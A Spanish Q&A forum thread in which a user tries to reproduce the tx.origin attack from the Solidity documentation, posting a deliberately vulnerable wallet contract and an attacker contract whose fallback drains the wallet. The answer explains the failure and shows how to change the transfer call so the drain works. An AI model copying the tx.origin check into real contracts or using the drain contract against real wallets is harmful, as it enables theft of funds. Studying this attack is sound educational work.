No se puede replicar el ataque tx.origin

Estaba leyendo los documentos de Solidity y decidí replicar el ataque tx.origin . Copié el contrato de la documentación pero termino con error al usar la función "transferTo". Verifique la captura de pantalla de remix a continuación para ver los detalles del error.

Encuentra mi contrato a continuación.

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    function TxUserWallet() payable public  {
        owner = msg.sender;
    }

    function transferTo(address dest, uint256 amount) payable public {

        require(tx.origin == owner);
        dest.transfer(amount);
    }

    function getBalance() constant returns(uint256){
        return this.balance;
    }

    function getOwner() constant returns(address){
       return owner;
    }
}


interface TxUserWallet {
    function transferTo(address dest, uint amount) public;
}

contract TxAttackWallet {
    address owner;

    function TxAttackWallet() payable public  {
        owner = msg.sender;
    }

    function() payable public {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }

    function getBalance() constant returns(uint256){
        return this.balance;
    }

    function getOwner() constant returns(address){
       return owner;
    }


}

ingrese la descripción de la imagen aquí

Respuestas (1)

Es una mala idea confiar en tx.origin para determinar si la transacción fue originada por una parte confiable o no. Este es el capítulo del documento de Solidity sobre el que te habla. El fragmento de código vulnerable es require(tx.origin == owner);.

Ahora, para explotar realmente esa falla de tx.origin, se intenta un ataque de reentrada, pero falla porque hoy en día dest.transfer(amount);solo envía 2300 gas a la función de reserva del destcontrato.

Para observar el abuso del control de seguridad basado en tx.origin (sin tener en cuenta el nuevo comportamiento de transfer() que rompe el truco de reingreso), puede cambiar dest.transfer(amount);a dest.call.value(amount)(). Como aquí https://github.com/abbbe/txorigin/blob/master/contracts/TxUserWallet.sol#L14 .

Y, a partir de la captura de pantalla, no está claro si activa correctamente el ataque. Tienes que llamar TxUserWallet.transferTo(ADDR_OF_TxAttacWallet, 1)desde la cuenta de propietario de TxUserWallet. Esto enviará todos los fondos de TxUserWallet al propietario de TxAttackWallet.